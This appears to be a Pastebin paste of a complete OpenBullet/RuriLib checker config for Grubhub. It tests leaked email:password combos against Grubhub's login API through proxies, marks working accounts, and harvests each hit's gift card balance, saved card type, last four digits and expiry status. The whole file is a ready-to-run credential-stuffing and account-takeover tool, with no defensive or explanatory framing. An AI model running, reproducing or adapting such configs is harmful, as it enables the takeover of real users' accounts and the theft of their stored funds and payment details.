Advertisement
Guest User

Untitled

a guest
Feb 21st, 2019
766
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.74 KB | None | 0 0
  1. {
  2. "$type": "RuriLib.Config, RuriLib",
  3. "settings": {
  4. "$type": "RuriLib.ConfigGeneralSettings, RuriLib",
  5. "configName": "Grubhub",
  6. "needsCaptchaService": false,
  7. "allowedCombo1": "MailPass",
  8. "allowedCombo2": "None",
  9. "suggestedBots": 1,
  10. "lastModified": "2018-10-17T07:46:13.3964035+01:00",
  11. "additionalInfo": "",
  12. "author": "Meowtit",
  13. "bbVersion": "2.0.2",
  14. "encrypted": false,
  15. "needsProxies": true,
  16. "onlySocks": false,
  17. "maxProxyUses": 0,
  18. "convertMailsToUsers": false,
  19. "field1MinLength": 0,
  20. "field1MaxLength": 100,
  21. "field1Lowercase": false,
  22. "field1Uppercase": false,
  23. "field1Digits": false,
  24. "field1Symbols": false,
  25. "field1Forbidden": "",
  26. "field2MinLength": 8,
  27. "field2MaxLength": 100,
  28. "field2Lowercase": false,
  29. "field2Uppercase": false,
  30. "field2Digits": false,
  31. "field2Symbols": false,
  32. "field2Forbidden": "",
  33. "customInputs": {
  34. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  35. "$values": []
  36. },
  37. "forceHeadless": false,
  38. "alwaysOpen": false,
  39. "alwaysQuit": false
  40. },
  41. "blockList": {
  42. "$type": "System.Collections.Generic.List`1[[RuriLib.BlockBase, RuriLib]], mscorlib",
  43. "$values": [
  44. {
  45. "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
  46. "url": "https://api-gtm.grubhub.com/auth",
  47. "postData": "{\"brand\":\"GRUBHUB\",\"client_id\":\"beta_UmWlpstzQSFmocLy3h1UieYcVST\",\"device_id\":1720095887,\"scope\":\"anonymous\"}",
  48. "method": "POST",
  49. "customHeaders": {
  50. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  51. "$values": [
  52. {
  53. "Key": "Authorization",
  54. "Value": "Bearer"
  55. },
  56. {
  57. "Key": "Referer",
  58. "Value": "https://www.grubhub.com/"
  59. },
  60. {
  61. "Key": "Origin",
  62. "Value": "https://www.grubhub.com"
  63. },
  64. {
  65. "Key": "Host",
  66. "Value": "api-gtm.grubhub.com"
  67. }
  68. ]
  69. },
  70. "customCookies": {
  71. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  72. "$values": []
  73. },
  74. "headerAccept": "*/*",
  75. "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
  76. "randomUserAgent": false,
  77. "headerContentType": "application/json;charset=UTF-8",
  78. "autoRedirect": true,
  79. "encodePost": true,
  80. "parseGetParams": true,
  81. "multipartData": false,
  82. "multipartBoundary": "",
  83. "blockLabel": "REQUEST"
  84. },
  85. {
  86. "$type": "RuriLib.BlockParse, RuriLib",
  87. "parseTarget": 2,
  88. "isCapture": false,
  89. "prefix": "",
  90. "suffix": "",
  91. "recursive": false,
  92. "targetCookieName": "",
  93. "targetHeaderName": "",
  94. "targetVariableName": "",
  95. "variableLString": "",
  96. "variableRString": "",
  97. "parseType": 0,
  98. "variableName": "access_token",
  99. "leftString": "access_token\":\"",
  100. "rightString": "\",",
  101. "cssSelector": "",
  102. "attributeName": "",
  103. "cssElementIndex": 0,
  104. "jsonField": "",
  105. "xPath": "",
  106. "xAttributeName": "",
  107. "regexString": "",
  108. "regexOutput": "",
  109. "blockLabel": "PARSE"
  110. },
  111. {
  112. "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
  113. "url": "https://api-gtm.grubhub.com/auth",
  114. "postData": "{\"brand\":\"GRUBHUB\",\"client_id\":\"beta_UmWlpstzQSFmocLy3h1UieYcVST\",\"device_id\":1720095887,\"email\":\"<USER>\",\"password\":\"<PASS>\"}",
  115. "method": "POST",
  116. "customHeaders": {
  117. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  118. "$values": [
  119. {
  120. "Key": "Referer",
  121. "Value": "https://www.grubhub.com/"
  122. },
  123. {
  124. "Key": "Authorization",
  125. "Value": "Bearer <access_token>"
  126. },
  127. {
  128. "Key": "Origin",
  129. "Value": "https://www.grubhub.com"
  130. },
  131. {
  132. "Key": "Host",
  133. "Value": "api-gtm.grubhub.com"
  134. }
  135. ]
  136. },
  137. "customCookies": {
  138. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  139. "$values": []
  140. },
  141. "headerAccept": "*/*",
  142. "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
  143. "randomUserAgent": false,
  144. "headerContentType": "application/json;charset=UTF-8",
  145. "autoRedirect": true,
  146. "encodePost": true,
  147. "parseGetParams": true,
  148. "multipartData": false,
  149. "multipartBoundary": "",
  150. "blockLabel": "REQUEST"
  151. },
  152. {
  153. "$type": "RuriLib.BlockKeycheck, RuriLib",
  154. "banOn4XX": false,
  155. "banOnToCheck": true,
  156. "keyChains": {
  157. "$type": "System.Collections.Generic.List`1[[RuriLib.ResponseKeyChain, RuriLib]], mscorlib",
  158. "$values": [
  159. {
  160. "$type": "RuriLib.ResponseKeyChain, RuriLib",
  161. "keychainType": 1,
  162. "keychainMode": 0,
  163. "keys": {
  164. "$type": "System.Collections.Generic.List`1[[RuriLib.ResponseKey, RuriLib]], mscorlib",
  165. "$values": [
  166. {
  167. "$type": "RuriLib.ResponseKey, RuriLib",
  168. "keyField": 0,
  169. "keyType": 0,
  170. "keyString": "401",
  171. "notKey": false,
  172. "matchKey": false,
  173. "variableString": "",
  174. "condition": 4
  175. }
  176. ]
  177. }
  178. },
  179. {
  180. "$type": "RuriLib.ResponseKeyChain, RuriLib",
  181. "keychainType": 0,
  182. "keychainMode": 0,
  183. "keys": {
  184. "$type": "System.Collections.Generic.List`1[[RuriLib.ResponseKey, RuriLib]], mscorlib",
  185. "$values": [
  186. {
  187. "$type": "RuriLib.ResponseKey, RuriLib",
  188. "keyField": 5,
  189. "keyType": 0,
  190. "keyString": "credential\":{\"",
  191. "notKey": false,
  192. "matchKey": false,
  193. "variableString": "",
  194. "condition": 4
  195. }
  196. ]
  197. }
  198. }
  199. ]
  200. },
  201. "blockLabel": "KEY CHECK"
  202. },
  203. {
  204. "$type": "RuriLib.BlockParse, RuriLib",
  205. "parseTarget": 2,
  206. "isCapture": false,
  207. "prefix": "",
  208. "suffix": "",
  209. "recursive": false,
  210. "targetCookieName": "",
  211. "targetHeaderName": "",
  212. "targetVariableName": "",
  213. "variableLString": "",
  214. "variableRString": "",
  215. "parseType": 0,
  216. "variableName": "ud_id",
  217. "leftString": "ud_id\":\"",
  218. "rightString": "\",",
  219. "cssSelector": "",
  220. "attributeName": "",
  221. "cssElementIndex": 0,
  222. "jsonField": "",
  223. "xPath": "",
  224. "xAttributeName": "",
  225. "regexString": "",
  226. "regexOutput": "",
  227. "blockLabel": "PARSE"
  228. },
  229. {
  230. "$type": "RuriLib.BlockParse, RuriLib",
  231. "parseTarget": 2,
  232. "isCapture": false,
  233. "prefix": "",
  234. "suffix": "",
  235. "recursive": false,
  236. "targetCookieName": "",
  237. "targetHeaderName": "",
  238. "targetVariableName": "",
  239. "variableLString": "",
  240. "variableRString": "",
  241. "parseType": 0,
  242. "variableName": "access_token2",
  243. "leftString": "access_token\":\"",
  244. "rightString": "\",",
  245. "cssSelector": "",
  246. "attributeName": "",
  247. "cssElementIndex": 0,
  248. "jsonField": "",
  249. "xPath": "",
  250. "xAttributeName": "",
  251. "regexString": "",
  252. "regexOutput": "",
  253. "blockLabel": "PARSE"
  254. },
  255. {
  256. "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
  257. "url": "https://api-gtm.grubhub.com/codes/vault/<ud_id>/giftcards",
  258. "postData": "",
  259. "method": "GET",
  260. "customHeaders": {
  261. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  262. "$values": [
  263. {
  264. "Key": "Referer",
  265. "Value": "https://www.grubhub.com/account/giftcard"
  266. },
  267. {
  268. "Key": "Authorization",
  269. "Value": "Bearer <access_token2>"
  270. },
  271. {
  272. "Key": "Origin",
  273. "Value": "https://www.grubhub.com"
  274. },
  275. {
  276. "Key": "Host",
  277. "Value": "api-gtm.grubhub.com"
  278. }
  279. ]
  280. },
  281. "customCookies": {
  282. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  283. "$values": []
  284. },
  285. "headerAccept": "application/json",
  286. "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
  287. "randomUserAgent": false,
  288. "headerContentType": "application/x-www-form-urlencoded",
  289. "autoRedirect": true,
  290. "encodePost": true,
  291. "parseGetParams": true,
  292. "multipartData": false,
  293. "multipartBoundary": "",
  294. "blockLabel": "REQUEST"
  295. },
  296. {
  297. "$type": "RuriLib.BlockParse, RuriLib",
  298. "parseTarget": 2,
  299. "isCapture": true,
  300. "prefix": "",
  301. "suffix": "",
  302. "recursive": false,
  303. "targetCookieName": "",
  304. "targetHeaderName": "",
  305. "targetVariableName": "",
  306. "variableLString": "",
  307. "variableRString": "",
  308. "parseType": 0,
  309. "variableName": "gift_cards",
  310. "leftString": "gift_cards\":[",
  311. "rightString": "],\"",
  312. "cssSelector": "",
  313. "attributeName": "",
  314. "cssElementIndex": 0,
  315. "jsonField": "",
  316. "xPath": "",
  317. "xAttributeName": "",
  318. "regexString": "",
  319. "regexOutput": "",
  320. "blockLabel": "PARSE gift_cards"
  321. },
  322. {
  323. "$type": "RuriLib.BlockParse, RuriLib",
  324. "parseTarget": 2,
  325. "isCapture": true,
  326. "prefix": "",
  327. "suffix": "",
  328. "recursive": false,
  329. "targetCookieName": "",
  330. "targetHeaderName": "",
  331. "targetVariableName": "",
  332. "variableLString": "",
  333. "variableRString": "",
  334. "parseType": 0,
  335. "variableName": "total_amount_remaining",
  336. "leftString": "total_amount_remaining\":",
  337. "rightString": "}",
  338. "cssSelector": "",
  339. "attributeName": "",
  340. "cssElementIndex": 0,
  341. "jsonField": "",
  342. "xPath": "",
  343. "xAttributeName": "",
  344. "regexString": "",
  345. "regexOutput": "",
  346. "blockLabel": "PARSE total_amount_remaining"
  347. },
  348. {
  349. "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
  350. "url": "https://api-gtm.grubhub.com/payments/<ud_id>/credit_card",
  351. "postData": "",
  352. "method": "GET",
  353. "customHeaders": {
  354. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  355. "$values": [
  356. {
  357. "Key": "Referer",
  358. "Value": "https://www.grubhub.com/account/payment"
  359. },
  360. {
  361. "Key": "Authorization",
  362. "Value": "Bearer <access_token2>"
  363. },
  364. {
  365. "Key": "Origin",
  366. "Value": "https://www.grubhub.com"
  367. },
  368. {
  369. "Key": "Host",
  370. "Value": "api-gtm.grubhub.com"
  371. }
  372. ]
  373. },
  374. "customCookies": {
  375. "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
  376. "$values": []
  377. },
  378. "headerAccept": "application/json",
  379. "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
  380. "randomUserAgent": false,
  381. "headerContentType": "application/x-www-form-urlencoded",
  382. "autoRedirect": true,
  383. "encodePost": true,
  384. "parseGetParams": true,
  385. "multipartData": false,
  386. "multipartBoundary": "",
  387. "blockLabel": "REQUEST"
  388. },
  389. {
  390. "$type": "RuriLib.BlockParse, RuriLib",
  391. "parseTarget": 2,
  392. "isCapture": true,
  393. "prefix": "",
  394. "suffix": "",
  395. "recursive": true,
  396. "targetCookieName": "",
  397. "targetHeaderName": "",
  398. "targetVariableName": "",
  399. "variableLString": "",
  400. "variableRString": "",
  401. "parseType": 0,
  402. "variableName": "credit_card_type",
  403. "leftString": "credit_card_type\":\"",
  404. "rightString": "\",\"",
  405. "cssSelector": "",
  406. "attributeName": "",
  407. "cssElementIndex": 0,
  408. "jsonField": "",
  409. "xPath": "",
  410. "xAttributeName": "",
  411. "regexString": "",
  412. "regexOutput": "",
  413. "blockLabel": "PARSE credit_card_type"
  414. },
  415. {
  416. "$type": "RuriLib.BlockParse, RuriLib",
  417. "parseTarget": 2,
  418. "isCapture": true,
  419. "prefix": "",
  420. "suffix": "",
  421. "recursive": true,
  422. "targetCookieName": "",
  423. "targetHeaderName": "",
  424. "targetVariableName": "",
  425. "variableLString": "",
  426. "variableRString": "",
  427. "parseType": 0,
  428. "variableName": "credit_card_last4",
  429. "leftString": "credit_card_last4\":\"",
  430. "rightString": "\",\"",
  431. "cssSelector": "",
  432. "attributeName": "",
  433. "cssElementIndex": 0,
  434. "jsonField": "",
  435. "xPath": "",
  436. "xAttributeName": "",
  437. "regexString": "",
  438. "regexOutput": "",
  439. "blockLabel": "PARSE credit_card_last4"
  440. },
  441. {
  442. "$type": "RuriLib.BlockParse, RuriLib",
  443. "parseTarget": 2,
  444. "isCapture": true,
  445. "prefix": "",
  446. "suffix": "",
  447. "recursive": true,
  448. "targetCookieName": "",
  449. "targetHeaderName": "",
  450. "targetVariableName": "",
  451. "variableLString": "",
  452. "variableRString": "",
  453. "parseType": 0,
  454. "variableName": "expired",
  455. "leftString": "expired\":",
  456. "rightString": ",\"",
  457. "cssSelector": "",
  458. "attributeName": "",
  459. "cssElementIndex": 0,
  460. "jsonField": "",
  461. "xPath": "",
  462. "xAttributeName": "",
  463. "regexString": "",
  464. "regexOutput": "",
  465. "blockLabel": "PARSE expired"
  466. }
  467. ]
  468. }
  469. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement